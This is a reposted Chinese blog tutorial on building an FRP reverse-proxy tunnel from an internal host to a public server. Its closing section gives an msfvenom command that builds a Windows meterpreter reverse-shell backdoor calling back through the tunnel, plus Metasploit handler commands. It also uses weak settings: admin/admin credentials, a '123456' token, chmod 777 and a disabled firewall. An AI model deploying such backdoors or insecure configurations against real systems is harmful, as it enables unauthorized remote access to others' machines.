0


【内网安全-隧道搭建】内网穿透_Frp上线、测试

Frp(简易上线)

1、简述:

1)Frp (Fast Reverse Proxy) 是一个免费开源的用于内网穿透的反向代理应用,它支持 TCP、UDP 协议, 也为 HTTP、HTTPS 协议提供了额外的支持。


2)frp:服务端(装在公网ip的服务器上)+客户端(装在内网主机上)


3)中转站功能:实现公网 ←→ FRP(服务器) ←→ 内网 的连接(可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。)


4)原理:

第一步:服务端:运行,并监听端口,等待客户端连接

第二步:客户端:连接服务端的端口,告诉服务端要监听的端口和转发类型

第三步:服务端:创建新的进程,监听客户端指定的端口

第四步:外网用户:连接到客户端指定的端口,服务端通过和客户端的连接将数据转发到客户端

第五步:客户端:进程将数据转发到本地服务

2、工具:

URL:https://github.com/fatedier/frp

选择合适的版本

Releases · fatedier/frp (github.com)https://github.com/fatedier/frp/releases![](https://img-blog.csdnimg.cn/545577490d294b9694ae692fca57f675.png)

3、使用:

1、准备:

1)准备一个域名(注册一个,直接使用ip也可)

2)准备一个服务器(阿里云、腾讯云等都可以免费领一个月)

3)VM中搭建一个虚拟机(内网环境)

4)测试连通性,使用Xshell,或者准备一台非同一局域网下主机并使用ssh命令

5)下载frp工具

命令行输入:
wget  https://github.com/fatedier/frp/releases/download/v0.46.1/frp_0.46.1_linux_arm64.tar.gz

(下载太慢了,我直接下载到电脑上,然后使用xshell配套的xftp传上去)

先解压后再上传的话

1:上传到客户端上面的(即内网主机)

2:上传到服务端上面的(即公网服务器)

s结尾代表server(服务端)

c结尾代表client(客户端)

——————

4)文件解压

如果直接使用的命令下载的,就需要解压

tar -zxvf frp_0.46.1_linux_amd64.tar.gz

方法一:然后把服务端的文件cp出来(或删掉客户端文件)

sudo mkdir 创建文件夹
sudo cp 原文件的位置  将要复制到的位置 

方法二:直接删除客户端文件

rm frpc
rm frpc.ini
rm frpc_full.ini

解压之后文件夹改个名,方便操作

——————

5)文件添加权限(客户端、服务端)

cd /usr/local/frp
sudo chmod 777 frpc
(777为所有权限,也可以换为+x可执行权限,熟悉Linux的就不用多说了)

2、服务端(公网):

1)修改配置文件(frps.ini)

编辑文件内容
vim ./frps.ini
配置文件内容
[common]
bind_port = 7000         # 服务端与客户端通信端口
dashboard_port = 7500    # 后台管理端口
dashboard_user = admin   # 后台登录用户名
dashboard_pwd = admin

vhost_http_port = 7002   # http穿透端口
vhost_https_port = 7003  # https穿透端口
max_pool_count = 50

token = 123456             # 身份验证令牌,frpc要与frps一致
tcp_mux = true

log_file = /usr/local/frp/frps.log  # 日志相关配置
log_level = info
log_max_days = 3

authentication_timeout = 0  # 服务器与客户端时间相差15min会连接失败,0表示不验证
subdomain_host = ……         # 填写自己注册的域名
privilege_mode = true

——————

2)访问的端口开发

(以腾讯云为例)

方法一:

直接在服务器控制台上添加规则

方法二:

Linux使用命令行添加

# 添加监听端口
sudo firewall-cmd --permanent --add-port=7000/tcp
# 添加管理后台端口
sudo firewall-cmd --permanent --add-port=7500/tcp
sudo firewall-cmd --reload

方法三:

使用ufw、iptables工具

方法四:

直接关闭防火墙

——————

3)启动服务端:

./frps -c ./frps.ini

启动成功

——————

4)访问后台管理界面

服务器ip(或者域名):port(7500)

并使用自己设置的用户名,密码登陆

————

扩展:

关闭窗口会停止

所以,需要后台运行

nohup ./frps -c frps.ini &


2、客户端(内网):

1)解压、保留客户端配置文件

——————

2)修改配置文件

编辑配置文件
vim ./frpc.ini
# 客户端配置
[common]
server_addr = ……          # 公网服务器ip
server_port = 7000         # 公网服务端通信端口,与frps.ini的bind_port一致

token = 123456              # 身份验证令牌,与服务端的frps.ini中token一致)
tcp_mux = true

log_file = /usr/local/frp/frpc.log    # 日志相关
log_level = info
log_max_days = 3
authentication_timeout = 0             # 服务器与客户端时间相差15min会连接失败,0表示不验证

# 配置ssh服务
[ssh]                            # 添加ssh节点 
type = tcp
local_ip = 192.168.xxx.xxx      # 或者127.0.0.1
local_port = 22
remote_port = 7001                # 指明由公网服务器的7001端口代理(ssh连接端口,远程服务端口)

# 配置http服务,可用于其他开发
[web01]                            # 添加web节点
type = http
local_ip = 192.168.xxx.xxx      # 或者127.0.0.1
local_port = 8080                # 本地8080端口(自定义的tomcat服务)可以通公网服务器7002端口访问
subdomain = web01                # 自定义子域名

——————

3)防火墙端口开放

开放方法和服务端类似

——————

4)客户端启动

./frpc -c frpc.ini

3、测试方法:

方法一:

直接使用Xshell工具,对公网服务器进行连接(公网服务器ip)

端口设置为客户端指定的服务器代理端口(remote_port = 7001)

————

方法二:

使用不在同一局域网下的电脑

ssh admin@***.*.*.* -p 端口

# -p 指定服务器端口号,不指定端口则默认22,但此处修改为我们设置的ssh服务端口7001
# admin 为登录的用户名
# ***.*.*.* 为公网服务器ip/域名

————

注:

如果报错Connection closed by……

1、授予ssh权限

2、开启ssh服务


4、生成后门木马监听:

msfvenom -p windows/meterpreter/reverse_tcp lhost=公网服务器ip lport=服务端代理客户端的端口(即remote_port ) -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555

(注:这个监听端口lport,与本地转发端口一致)
exploit

标签: 网络 服务器 安全

本文转载自: https://blog.csdn.net/qq_53079406/article/details/128839000
版权归原作者 黑色地带(崛起) 所有, 如有侵权,请联系我们删除。

“【内网安全-隧道搭建】内网穿透_Frp上线、测试”的评论:

还没有评论